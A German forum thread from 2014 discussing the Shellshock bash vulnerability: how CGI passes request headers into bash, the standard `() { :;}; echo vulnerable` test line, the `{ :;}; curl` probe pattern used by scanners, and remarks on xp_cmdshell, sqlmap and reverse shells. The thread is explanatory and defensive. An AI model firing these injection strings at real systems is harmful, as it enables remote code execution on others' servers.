Shellshock?

Shellshock? (41 Beiträge, 758 Mal gelesen)

Du bist nicht angemeldet. [ Login/Registrieren ]

Wundert mich irgendwie, dass hier gar nix dazu steht..
Aber anscheinend ist jeder mit was Wichtigerem beschäftigt (guckt Richtung #bendgate..).

Kurz um was es geht (wenn ich es richtig verstanden habe): Man kann der bash via "-c" Parameter ja Funktionen/Befehle übergeben welche ausgeführt werden.
Soweit auch kein Problem, wenn die Bash nicht einfach so eine Funktion/Umgebungsvariablen davor auch ausführen würde (und das immer, egal ob hinten ein richtiges Kommando kommt - UND GENAU DAS ist das Hauptproblem).

http://derstandard.at/2000006134121/Shellshock-Bug-22-Jahre-unentdeckt-extrem-gefaehrlich

Das hier werden sicher schon genug gelesen haben:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Das soll man in die Shell eingeben um zu testen, ob man die fehlerhafte Bash hat.

Ich dachte mir dann immer: Aber wie zum Geier kann man das nun von außen ausnutzen?

Tjo, mit dem user-Agent natürlich :D
Hier ein Test Skript (CGI für Server und den Aufruf dazu):
https://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited

Guckt also mal lieber nach, ob ihr wo CGI-Skripte habt und wenn ja, ob ihr die Bash nutzt (in meinem Fall ist die Default-Shell sowieso eine andere, also die CGI Skripte gehen nicht mit Bash, ich musst es manuell auf #!/bin/bash ändern, da /bin/sh auf die zsh zeigt

)

...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Guckt also mal lieber nach, ob ihr wo CGI-Skripte habt und wenn ja, ob ihr die
Bash nutzt (in meinem Fall ist die Default-Shell sowieso eine andere, also die
CGI Skripte gehen nicht mit Bash, ich musst es manuell auf #!/bin/bash ändern,
da /bin/sh auf die zsh zeigt
)

Nicht nur gucken, updaten! Der Bug ist bereits gefixed und die neuen Binaries ausgerollt.

"I am serious. And don't call me Shirley."

Nicht nur gucken, updaten! Der Bug ist bereits gefixed und die neuen Binaries
ausgerollt.

Tjo, wenn es Updates geben würde..

GNU bash, version 3.2.49(1)-release (mipsel-unknown-linux-gnu)
Copyright (C) 2007 Free Software Foundation, Inc.

Der Server ist aber nur intern (und das läuft eigentlich auf einem Linux-Router :D).
...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Tjo, wenn es Updates geben würde..

Wenns für Dich kein Update gibt, ist wohl Deine Disti zu alt.
Ich hab das Update bekommen, bevor ich noch davon gelesen hatte.

Jo, wie gesagt, veraltete Router-Software..

Zum Glück werden die 2 CGI-Sachen nur zu Hause genutzt (USB Steckdose zum Bedienen und Thermostat).

Und die Default-Shell war sowieso nie Bash.. Von daher sind meine CGI Sachen auch nicht "exploitbar", da es auf zsh geht.
Ich müsste wirklich die cgi-Sachen mit #!/bin/bash oder #!/opt/bin/bash versehen, sodass auch wirklich der Exploit genutzt werden kann (natürlich habe ich das nur zu Testzwecken so geändert).
...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Tjo, wenn es Updates geben würde..

Gibts halt nicht für Deine nordkoreanische Routersoftware da

Aber für die Plattform gibts ebenso schon neue Binaries (via debian z.b.)

"I am serious. And don't call me Shirley."

Heyhey.. Ich glaube Südkorea oder woher kommt Asus? :D
...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Heyhey.. Ich glaube Südkorea oder woher kommt Asus? :D

evil eyed asians => taiwan

"I am serious. And don't call me Shirley."

User Agent Forkbomb crusing

test

Ich finde vorallem die Reverse-Shell schon heftig..

Wobei ich bei einer Security Tagung mal über das hier gestolpert bin:
http://sqlmap.org/

Da ist auch recht schnell eine Reverse Shell möglich, wenn mal wieder gepfuscht wurde

...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

In welcher Distribution funktioniert die 08/15-Forkbomb denn?

Wundert mich irgendwie, dass hier gar nix dazu steht..

Weil 90% der hier anwesenden vermutlich nichtmal wissen, was die Bash ist.

Aber anscheinend ist jeder mit was Wichtigerem beschäftigt (guckt Richtung
#bendgate..).

jo, da kann halt jeder mitreden.

Das hier werden sicher schon genug gelesen haben:

Ich hoffe schon, das jeder Linux Admin das mitbekommen hat. War ja eh überall zu lesen.
Wers nicht mitbekommen hat, sollte sein Server einstampfen.

Ich hoffe schon, das jeder Linux Admin das mitbekommen hat. War ja eh überall
zu lesen.
Wers nicht mitbekommen hat, sollte sein Server einstampfen.

Naja, gelesen habe ich auch schon lange, aber mir hat nie jemand ein Angriffszenario liefern können..

Warum wird eigentlich der User_Agent String einfach so an die Bash gegeben? Oder wie "löst" CGI Sachen auf?

Achja, es sollten auch die Unix-Admins das ganze ändern.. Auf unserer AIX ist die Bash auch installiert.
...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Naja, gelesen habe ich auch schon lange, aber mir hat nie jemand ein
Angriffszenario liefern können..

Betrifft dich auch nicht wirklich, wenn du nur einen internen server laufen hast.
ist ja eher etwas bei webhosting firmen.

Hab mir jetzt ein dein Szenario angesehen ...
... shellshock erscheint mir nur gefährlich in Zusammenhang mit anderen schweren Sicherheitsvergehen ...

Ich meine ... cgi skripts die bash code der von Client übergeben wird 1:1 ausführen?!?
wtf???
Der Programmierer gehört standesrechtlich erschossen.

Da kann ich genauso-gut sagen sql hat einen bug, weil SQL-injuctions möglich sind.

Ich sehe den Fehler nicht im Bash, sondern in der unzureichenden Umsetzung der Sandkisten diverser Programme.

Den schweren Fehler würde ich nur sehen, wenn durch den Bug zusätzliche Berechtigungen entstehen.
Also Root Rechte am Server.

Du hast den Bug nicht verstanden.
Es geht primär um WEB Server.

Ein Webhoster mit Tausenden Kunden kann schwer jedes CGI Skript kontrollieren ob es irgendwas böses macht. Daher muss es schon auf Bash Seite verhindert werden.

Bei einer SQL-Injektion schadest Du nur Deiner eigenen Datenbank. Das interessiert die anderen Kunden auf dem Server nicht.

Manche RDBMS ermoeglichen es dir, aus der SQL heraus eine Query abzusetzen, die zur Ausfuehrung von "fremdem" Code via system(3) et al. fuehrt. Allen voran natuerlich Microsoft SQL Server, because... why not? :D

http://technet.microsoft.com/en-us/library/aa260689%28v=sql.80%29.aspx

echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

29.09.2014, 20:42 Uhr - Editiert von colo, alte Version: hier

Interessant.

belanglos, da der sql server 2000 von microsoft nicht mehr supported wird und darüber hinaus das feature per default deaktiviert ist.

es gab auch mal vor jahren ms sql server, die default mässig ein leeres sa passwort hatten - aber auch das ist längst geschichte.

Manche? Tun das nicht alle..

Siehe http://sqlmap.org/

Habe bei einem Vortrag gesehen wie der PostGres und in Oracle reingekommen ist und via Base64 und FileDumps hat sich noch einen Reverse-Shell Zugang gemacht

...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Allen voran natuerlich Microsoft

"Because malicious users sometimes attempt to elevate their privileges by using xp_cmdshell, xp_cmdshell is disabled by default."

und

"When it is called by a user that is not a member of the sysadmin fixed server role, xp_cmdshell connects to Windows by using the account name and password stored in the credential named ##xp_cmdshell_proxy_account##. If this proxy credential does not exist, xp_cmdshell will fail."

Man muss sich also schon anstrengen, um damit Mist zu bauen.

cheers
h

Man muss sich also schon anstrengen, um damit Mist zu bauen.

https://forum.geizhals.at/t853060,7357378.html#7357378 wie man sieht schafft man das.

das ist bei allen unter support stehenden versionen vom SQL Server per default abgedreht. wenn xp_cmdshell einer aktiviert, dann weiss er hoffentlich was er tut.

ich hatte mal einen fall bei einem bekannten. der richtig gehend stolz drauf war, dass bei ihnen bei security audit nur ein finding war:

der sql server lief mit einem service user der domain adminrechte hatte und zudem war noch xp_cmdshell aktiviert. naja viel schlimmere findings kannst dann eh nimmer haben.

der sql server lief mit einem service user der domain adminrechte hatte und
zudem war noch xp_cmdshell aktiviert

Das meinte ich mit "man muss sich schon anstrengen".

cheers
h

Es reicht leider schon, _irgendwas_ zu haben (z. B. eben eine Web-Applikation via CGI, welches ja via stdio und Environment in den geforkten Kindprozess Daten weiterreicht), das User-Input wie z. B. HTTP Request Header unverbluemt und unbereinigt in eine Environment-Variable packt, und dann via exec(3)/system(3) _irgendein_ anderes Programm aufruft, so lange /bin/sh auf dem System zu einer verwundbaren Version von der bash fuehrt.

Shellscripts als Interpreter eines CGI-Scripts sind ja eher die Ausnahme - aber so kann es dich halt auch dann erwischen, wenn die auszere Huelle deines Web-Services nur von Python, Perl, Java, C, Ruby oder sonstwas (via CGI) bereitgestellt wird.

echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

nd dann via exec(3)/system(3) _irgendein_ anderes Programm aufruft,

Ist aber eigentlich ein alter Hut, dass man möglichst die shell da rauslassen sollte (in Perl via exec mit mehr als 1 Parameter, sonst eben mit Vermeidung von system(3)). Wird aber aus Bequemlichkeit zu oft nicht gemacht ...

Ja, da hast du natuerlich recht. Ich glaube, es ist vielen Programmierern (ohne den entsprechenden Hintergrund, bzw. ohne mal C programmiert zu haben und die Dokumentation von bspw. execve() gelesen zu haben) auch gar nicht bewusst, dass manche (viele) dieser fork/clone-and-exec-Bequemlichkeitsfunktionen der Skriptsprache ihrer Wahl /bin/sh involvieren... In den allermeisten Faellen waere das ja auch gar nicht notwendig.

echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

HTTP Request Header unverbluemt und unbereinigt in eine Environment-Variable packt

Ich sehe den Sicherheits-bug hier ...

Das der Interpreter, die Variable nicht entsprechend mit den escapes weitergibt ... sondern einfach ohne escapes ... wodurch das ganze sich selbst aufrufen kann.
An-sonst würde die Funktion drinnen stehen, aber nicht ausgeführt werden.

---
Mich würde interessieren, was sich mit dem Update geändert hat ... das einzige was ich mir vorstellen kann ist eine Einschränkung der möglichen Befehle ... aber darin sehe ich keine Sicherheit da nach wie vor Befehle aufgerufen werden können, die vom Client vorgegeben werden.
=> die Sache wird komplexer, kann aber weiter ausgenutzt werden.

Tjaaa... Das dachte ich auch immer.

Aber scheinbar wird der User-Agent auch in der Bash geparst.. Sie dir mal die test.cgi (nur ein simples echo Hi) an.. Da wird nix großartig gescriptet..
...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

Der bash-Parser scannte bisher _alle_ Environment-Variablen auf ueber ebendiese vererbte Funktionsdefinitionen. "Tricky" war der Exploit nur in der Hinsicht, ueber den Inhalt welcher Environment-Variablen der Angreifer frei bestimmen durfte. Und "dank" der Spezifikation/Funktionsweise von CGI wird eben manche Information ("as is", und diese Praxis ist imho fragwuerdig, aber nicht per se illegitim) vom Webserver, dem der Inhalt egal ist - weil er ihn nur als Daten, und (Modulo schweren Bugs) nie als Code ansieht - an die shell - die das eben nicht in allen Faellen tut, und dann in mindestens einem dieser Faelle auch noch schwer verbugt war - weitergereicht. Und die, wie man ja gesehen hat, sowas (also das Interpretieren von Umgebungsvariablen als Code) gar nie haette tun sollen. Oder halt zumindest nicht in fehlerbehafteter Weise

echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

Super Erklärung und Dank Smartphone habe ich dir ein negatives Feedback gegeben

Leider kann man es ja nicht mehr ändern..
...

Apple Fans sind wie Zeugen Jehovas. Es ist sinnlos mit ihnen zu reden..

Why not ZOIDBERG? (V)_(°,,,°)_(V)
(-.(-.(-.(-.-).-).-).-)

29.09.2014, 22:46 Uhr - Editiert von thE, alte Version: hier

hehe, ich werd's verkraften

(Oder einfach in der Backend-DB geradebiegen!

)

echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

die massscans dir zur zeit laufen erkennen die anfälligkeit in dem ein ping oder curl von dem rechner zurückkommt. auch die ersten malwares wurden scheinbar nur auf server verteilt, die eine outbound internet verbindung hatten. nächster schritt ist dann wohl, über viele calls eine base64 codierte malware auf das system zu schicken, zusammenzubauen und auszuführen.
und dann darauf zu warten bis der server irgend wann im internet ist und sich meldet.

die massscans dir zur zeit laufen erkennen die anfälligkeit in dem ein ping
oder curl von dem rechner zurückkommt.

Ned wirklich, ein Ping zeigt nicht ob das System vulnerable ist... (was ist ein curl ?)

Du mußt eben direkt auf das CGI und remote angreifen umd den Bug zu erkennen, alles andere is kokolores.

"I am serious. And don't call me Shirley."

das weiss ich schon, ich meinte nur als angreifer weiss ich nur das das system angreifbar ist, wenn ich eine antwort von dem command bekomme, das ich auf dem target rechner ausführe. und am einfachsten geht das mit { :;}; curl oder { :;}; curl
der wie willst du sonst wissen, das dein versuch auf dem target ein command auszuführen erfolgreich war?

und am einfachsten geht das mit { :;}; curl oder { :;}; curl

ahso du meinst das proggy..dachte jetzt im Zusammenhang mit Ping das es da wieder ein neues Gimmick gibt

das dein versuch auf dem target ein command auszuführen erfolgreich war?

Ja eh so kenn ich den Test auch... nur mit ping itself kenn ich nix

"I am serious. And don't call me Shirley."

mit bekanntwerden und erscheinen der patches wurde bei uns sofort alles updated. insofern - nicht der rede wert.

viel interessanter wird sein was in der bash noch so alles für bomberl versteckt sind.

mit bekanntwerden und erscheinen der patches

alle server die anfällig waen und über internetverbindung verfügen auch auf malware bzw. die accesslogs geprüft?

natürlich...logs werden generell bei uns immer angeschaut.

Dieses Forum ist eine frei zugängliche Diskussionsplattform.
Der Betreiber übernimmt keine Verantwortung für den Inhalt der Beiträge und behält sich das Recht vor, Beiträge mit rechtswidrigem oder anstößigem Inhalt zu löschen.
Datenschutzerklärung